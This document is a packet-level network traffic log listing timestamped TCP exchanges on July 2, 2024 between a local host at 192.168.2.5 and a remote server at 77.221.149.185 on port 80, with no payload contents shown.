Jul 2, 2024 22:52:25.375607014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375617981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.375634909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.375987053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.375997066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376005888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376015902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376027107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376034021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.376059055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.376077890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.376389980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376400948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376410961 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376425982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376435995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376444101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376445055 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.376454115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376462936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376471996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376486063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376486063 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.376497030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376506090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376512051 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.376517057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.376538038 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.377161026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377175093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377185106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377194881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377204895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377213955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377223015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377228022 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377237082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377242088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377254963 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.377258062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377268076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377278090 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377289057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.377304077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.377336979 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.378078938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378088951 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378099918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378108978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378118992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378122091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.378128052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378138065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378145933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378155947 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.378156900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378166914 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378175020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378185034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378185987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.378195047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378205061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378205061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.378213882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378221989 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.378221989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378246069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.378266096 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.378914118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378923893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378932953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378942966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378952980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378962040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378967047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.378971100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378978968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378979921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.378988981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.378998995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379009008 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379018068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379019022 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.379029989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379039049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379045010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.379049063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379080057 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.379110098 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.379894972 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379904985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379914045 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379939079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.379945040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379955053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379966974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379975080 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379981041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.379985094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.379996061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380009890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380018950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.380019903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380031109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380039930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380045891 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.380048037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380053997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.380078077 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.380096912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.380733967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380744934 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380753994 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380763054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380772114 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380781889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380795956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380806923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380815029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380824089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380832911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380841970 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380841970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.380851030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380842924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.380842924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.380861044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.380947113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.380947113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.380947113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.408013105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.408032894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.408042908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.408113003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.408272028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.408281088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.408289909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.408298969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.408307076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.408320904 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.408335924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.408354044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.463877916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.463888884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.463901997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.463953972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.463980913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.463990927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.463999987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464015007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464030027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.464056969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.464235067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464245081 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464253902 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464265108 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464279890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.464298010 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.464435101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464479923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.464572906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464582920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464591980 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464601040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464610100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464620113 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.464623928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464632988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464642048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464648962 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.464652061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.464669943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.464689970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.465081930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465095997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465106010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465126991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.465162039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.465354919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465363979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465382099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465396881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465399027 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.465406895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465421915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465431929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465432882 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.465440989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465451002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465456009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.465460062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465470076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465473890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.465480089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465488911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465498924 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.465500116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.465517044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.465536118 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.466253996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466264009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466273069 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466283083 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466291904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466300011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.466301918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466311932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466319084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.466324091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466332912 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.466335058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466347933 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466373920 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.466396093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.466809988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466820002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466836929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466846943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466859102 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.466861963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466871023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466881037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.466897011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.466922045 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.467241049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467250109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467258930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467268944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467278004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467286110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.467287064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467297077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467308044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.467325926 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.467334986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.467916012 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467926025 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467933893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467943907 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467957973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467961073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.467967033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467976093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467983961 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.467986107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.467995882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468003988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468003988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.468014002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468015909 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.468023062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468031883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468036890 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.468041897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468075037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.468086958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.468709946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468719959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468729019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468734026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468744040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468754053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468758106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.468764067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468772888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468781948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468786001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.468791962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468795061 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.468802929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468812943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468812943 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.468822002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468831062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.468837023 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.468864918 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.469578028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469588995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469599009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469608068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469618082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469625950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.469628096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469638109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469646931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469655037 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.469656944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469666958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469675064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469677925 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.469683886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.469695091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.469711065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.469719887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.496843100 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.496854067 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.496867895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.496922970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.496952057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.496963024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.496972084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.496982098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.497001886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.497023106 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.497131109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.497180939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.553164959 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553183079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553191900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553250074 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.553316116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553328037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553338051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553349018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553363085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.553378105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.553538084 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553582907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.553666115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553677082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553685904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553697109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553705931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553713083 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.553715944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553725958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553733110 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.553736925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.553752899 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.553780079 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.554143906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554368973 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.554379940 CEST	80	49712	77.221.149.185	192.168.2.5
